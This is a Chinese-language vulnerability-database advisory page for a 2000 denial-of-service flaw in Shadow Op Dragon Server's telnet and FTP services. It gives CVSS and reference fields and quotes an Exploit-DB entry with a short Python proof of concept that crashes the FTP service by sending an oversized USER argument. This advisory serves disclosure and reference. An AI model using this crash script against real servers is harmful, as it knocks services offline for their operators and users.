发布时间 :2000-06-16 00:00:00
修订时间 :2016-10-17 22:07:09

[原文]Dragon telnet server allows remote attackers to cause a denial of service via a long username.

[CNNVD]Shadow Op Dragon服务器多重DoS漏洞(CNNVD-200006-066)

        Dragon telnet服务器存在漏洞。远程攻击者借助超长用户名导致拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20000616 Multiples Remotes DoS Attacks in Dragon Server v1.00 and v2.00

- 漏洞信息

Shadow Op Dragon服务器多重DoS漏洞
中危 边界条件错误
2000-06-16 00:00:00 2005-10-20 00:00:00
        Dragon telnet服务器存在漏洞。远程攻击者借助超长用户名导致拒绝服务。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at:

- 漏洞信息 (20016)

Shadow Op Software Dragon Server 1.0/2.0 Multiple DoS (EDBID:20016)
windows dos
2000-06-16 Verified
0 Prizm
N/A [点击下载]

Two denial of service vulnerabilities exist in the Dragon Server package, versions 1.00 and 2.00, from Shadow Ops Software. By supplying large arguments to two different network services, it is possible to cause these services to be innaccessible.

By sending a USER command to the ftp server, and placing a buffer of approximately 16,500 characters as the argument to the command, it is possible to crash the ftp service.

By sending a buffer of approximately 16,500 characters to the telnet server in place of a user name, it is also possible to crash this service.

These both appear to be due to insufficient bounds checking. 

# Dragon Server(ftp) DoS Proof of Concept Code.                       
# Vulnerability Discovered by USSR Labs(      
# Simple Script by Prizm(                        
# By connecting to port 21(ftp) on a system running Dragon FTP Server 
v1.00/2.00 and typing                                                 
# USER (16500 bytes) the service will crash                           
# This *simple* little script will cause Dragon Server's ftp service  
to crash.                                                             
from ftplib import FTP                                                
ftp = FTP('') # Replace x's with ip                    
ftp.login('A' * 16500)                                                

- 漏洞信息

Dragon Telnet Server Username Remote Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Solution Unknown
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-06-16 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete